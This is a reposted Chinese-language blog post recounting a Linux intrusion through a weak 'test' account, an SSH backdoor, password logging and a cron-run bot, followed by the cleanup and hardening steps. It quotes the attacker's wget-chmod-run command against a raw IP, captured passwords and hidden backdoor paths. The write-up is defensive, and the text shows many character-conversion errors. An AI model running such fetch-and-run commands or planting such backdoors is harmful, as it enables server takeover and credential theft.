轉載·一次ssh被篡改的入侵事件

原文連接http://phenixikki.blog.51cto.com/7572938/1546669 

一般服務器安全問題在規模較小的公司經常被忽略，沒有負責安全的專員，尤爲是遊戲行業，由於其廣泛架構決定了遊戲服一般都是內網進行數據交互，通常端口不對外開放，也所以對安全問題不過於重視。接下來要說的，這是我人生第一次在Linux環境中被入侵的經歷，此前只有在Windows Server上有過屢次入侵排查的經驗，不適用於Linux環境中，因爲本身的經驗缺少以及安全意識的薄弱，從而沒有及時對已被侵入的服務器作隔離處理，致使擴散到較多的服務器，在此斷指三根以示悔恨，哈哈，開玩笑的，在此總結下入侵排查過程以及後續事宜

 

 

1、事件回顧

    此次的服務器被入侵是一個典型的弱密碼致使的入侵事件，因爲某人員的疏忽，在某臺服務器上新建了test用戶，且使用同名的弱密碼，以便於調試工做所需的腳本工具，就在當天在作腳本調試的時候發現了某些異常的錯誤，使用root用戶沒法ssh遠程登錄其餘服務器，同時scp命令出現異常沒法使用，但其餘服務器可使用scp將文件拷貝到該服務器，以後將問題反饋給運維人員，由咱們運維進行排查。

 

 

2、排查過程

    收到問題反饋，主要涉及ssh相關的問題後，咱們運維對該服務器進行排查，發現使用ssh -v中的openssl版本沒法顯示，且輸出的幫助信息與其餘服務器不一致，而後查看ssh配置，發現配置文件（ssh_config和sshd_config）文件已更新，其內容被所有註釋，這時尚未意識到被入侵，悲哀+1，起初覺得同事對該服務器作了升級了ssh版本，後來確認無升級之類的操做。

 

一、查看ssh版本及相關信息，openssl的版本顯示異常，與其餘服務器對比，幫助信息顯示方式有所不一樣

 

二、查看ssh進程及其相關文件，ssh和sshd進程文件已更新，ssh_config和sshd_config配置文件已更新，配置文件內容所有註釋，ssh_host_key和ssh_host_key.pub爲新增的文件，其餘服務器沒有這兩個文件

三、繼續排查，將一臺正確的配置文件覆蓋至該服務器，重啓ssh服務後，使用ssh命令發現沒法識別該配置文件中的參數（到這裏其實應該發現ssh進程文件已被篡改，使用md5sum作比對便可）

 

四、因爲其餘工做事務須要及時處理，排查這個事情就被擱置了，直至以後的YY討論問題拿出來詢問了下大神，才意識到有被入侵的可能

 

五、詢問操做過該服務器的同事，此前正在調試腳本工具，新增了test用戶，得知其密碼爲test

1 2	$  cat  /etc/passwd  |  grep  test test :x:1005:1005:: /home/test : /bin/bash

 

六、進行深刻排查，使用chkrootkit -q查看Linux系統是否存在後門，發現有異常。協同以前操做test用戶的同事，查找history命令記錄，發現一條可疑命令

1 2 3 4 5 6 7

$  su  -  test $  history     50  wget http: //71 .39.255.125/~ake /perf ; chmod  +x perf; . /perf        # 非同事操做的可疑命令，在虛擬機上測試，發現能夠無需命令便可得到root權限 $ w                           # 沒法查看到當前登陸用戶（請忽略我跳躍的思惟） $  cat  /usr/include/netda .h    # 找到一個用戶登陸就記錄其密碼的文件（某大神找到的） +user: bin +password: worlddomination +user:  test  +password: TF4eygu4@ #$ds

 

七、在另一臺服務器上，發現某帳號家目錄下有個dead.letter文件，用於將獲取到的信息（系統信息、IP地址、帳號密碼等）發送至指定的郵箱

 

八、又在另一臺服務器上部署了一套可疑的程序，估計是做爲肉雞功能

1 2 3

$  sudo  crontab  -e * * * * *  /usr/include/statistics/update  > /dev/null  2>&1             # 原有的cron任務已被清空，僅有該條可疑任務

 

九、找到/usr/include/statistics爲主程序的目錄，其中update爲主程序，經過autorun腳本進行部署，執行crond假裝成crond服務，使原crond服務隱藏且沒法啓動，將cron覆蓋至原有crontab文件來每分鐘執行update二進制程序，mech.pid記錄假裝的crond程序的PID

 

 

3、清理工做

一、緊急修復清理

將準備好的正常的ssh相關文件上傳至被入侵服務器的/tmp目錄下

1）查看並修改屬性

1 2 3 4 5

$  sudo  lsattr  /usr/bin/ssh -u--ia-------e-  /usr/bin/ssh $  sudo  chattr  -ia  /usr/bin/ssh         # 修改屬性以保證文件可被覆蓋 $  sudo  lsattr  /usr/sbin/sshd -u-----------e-  /usr/sbin/sshd

2）恢復ssh和sshd

1 2 3 4 5

$  sudo  cp  /tmp/ssh  /usr/bin/          # 將ssh進程文件覆蓋恢復 $  sudo  cp  /tmp/ *_config  /etc/ssh/     # 將配置文件覆蓋恢復 $  sudo  rm  /etc/ssh/ssh_host_key *     # 刪除新增的可疑文件 $  sudo  crontab  -e                    # sshd沒法覆蓋，使用cron方式解決 30 3 * * * pkill -9 sshd;  cp  /tmp/sshd  /usr/sbin/ ;  /etc/init .d /ssh  restart

3）刪除多餘的文件以及恢復crond

1 2 3 4

$  sudo  rm  /usr/include/netda .h $  sudo  kill  -9 $( cat  /usr/include/statistics/mech .pid) $ [ -d  /usr/include/statistics  ] &&  sudo  rm  /usr/include/statistics $  sudo  /etc/init .d /cron  restart

二、後續安全工做

1）修改全部涉及的服務器的帳戶密碼，以後其餘使用同類密碼的服務器也需改掉

2）配置防火牆策略，只容許公司外網IP可ssh訪問服務器

3）對於被入侵過的服務器系統後期逐步重作系統，避免存在未清理的後門

 

 

寫在最後：

    這次的遭受攻擊，問題主要是運維安全意識較差，以及防火牆策略比較鬆散，爲了便於遠程工做，像ssh端口未作限制，服務器幾乎是裸奔的狀態。通過此番折騰，也對服務器安全方面作了一次警示，需增強防護工做，同時也瞭解到典型的ssh後門功能：其一是超級密碼隱身登錄；其二是記錄登錄的帳號密碼。後續還需制定一系列入侵檢測機制，以防再次出現入侵事故。